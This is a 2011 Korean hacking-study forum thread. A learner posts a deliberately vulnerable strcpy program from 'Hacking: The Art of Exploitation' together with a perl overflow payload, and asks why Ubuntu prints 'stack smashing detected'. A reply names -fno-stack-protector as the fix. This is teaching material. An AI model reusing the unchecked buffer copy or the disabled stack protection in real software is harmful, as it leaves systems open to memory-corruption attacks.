리눅스

 3916, 1/196 회원가입  로그인  
   asdwho
   http://www.blogin.com/blog/home?=asdwho
   [컴파일]gcc version에 대해..

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3943 [복사]


현재 제 노트북에는 우분투 10.10이 깔려 있습니다.

오버 플로우 를 공부하다가 코드를 실행하였더니 세그멘테이션 폴트가 아닌 다른 에러메시지가 나왔습니다.

코드는 다음과 같습니다. (본 코드는 '해킹 공격의 예술' 세컨드 에디션의 auth_overflow2.c입니다.)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char* password) {
   char password_buffer[16];
   int auth_flag = 0;

   strcpy(password_buffer, password);
  
   if(strcmp(password_buffer,"brilling")==0)
      auth_flag= 1;
   if(strcmp(password_buffer,"outgrade")==0)
      auth_flag = 1;

   return auth_flag;
}

int main(int argc,char* argv[]){
   if(argc <2) {
      printf("사용법: %s<패스워드>\n", argv[0]);
      exit(0);
   }
   if(check_authentication(argv[1])){
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
      printf("          접근 허용.\n");
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   } else {
      printf("\n접근불가.\n");
   }
}

위 코드는 책에서 직접 옯겨 친거라 컴파일시에 오류가 날 수 있습니다.

아무튼 이런식의 코드인데,책에 나와있는데로  컴파일 한 후 실행을 하면

$gcc - g quth_overflow2.c
$./a.out $(perl -e 'print "\xbf\x84\x04\08"x10'); <-이 쉘코드와 다를 수 있습니다 디버깅모드에서 확인해주세요.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
          접근 허용.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Secmentation fault (core dumped)

라고 나오는게 정상이겠죠. 지금 노트북에 있는 우분투 말고 다른 리눅스(CentOS)에서는 이렇게 나오긴 하지만, 유독 우분투에서 이 프로그램을 실행시키면 다른 오류메시지가 나와 조금 불편합니다. 아마도 gcc컴파일러 버젼 문제 인것 같은데,
혹시 다른 버젼의 컴파일러를 깔아야 하는지 궁금해서 이 게시판에 올려봅니다.

현재 gcc버젼은 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5)입니다.

위의 명령어를 실행하였을 때 나오는 에러메시지는

*** stack smashing detected ***: ./a.out terminated

이라고 뜨며 그밑에 추가적으로 백트레이스와 메모리 맵이 뜨는데 별 도움이 안되는 것 같네요.
접근 허용이라는 걸 보려면 결국 어떤 컴파일러를 깔아야 하는지 궁금합니다.

제발 도와주세요 ㅠㅠ

  Hit : 4771     Date : 2011/04/01 12:59



    
asdwho 전에 질문하신 분이 있으시군요. 답변대로 해보고 되면 자삭하겠습니다. 2011/04/01  
멍멍 gcc의 stack protector 기능으로 인해 나오는 메시지고요
컴파일 시 -fno-stack-protector 옵션을 주시면 없앨 수 있습니다
stack smashing detected gcc option 로 구글링했더니 http://bit.ly/hzwIQp 요렇게 검색했더니
비슷한 질문이 보이네욤
2011/04/01  
멍멍 좀 깊게 공부하시려면 이것도 참고하세요~
http://studyfoss.egloos.com/5279959
http://www.trl.ibm.com/projects/security/ssp/
2011/04/01  
asdwho ㅎㅎ 감사합니다 사실 아주 밑으로 내려가면 같은 질문이 올라와 있더군요.
그래서 오늘 지우려고 들어왔는데 소중한 댓글로 인하여..

조금 남겨둘까 합니다.

멍멍님이 직접 답변해주신건데 ㅎㅎ
2011/04/01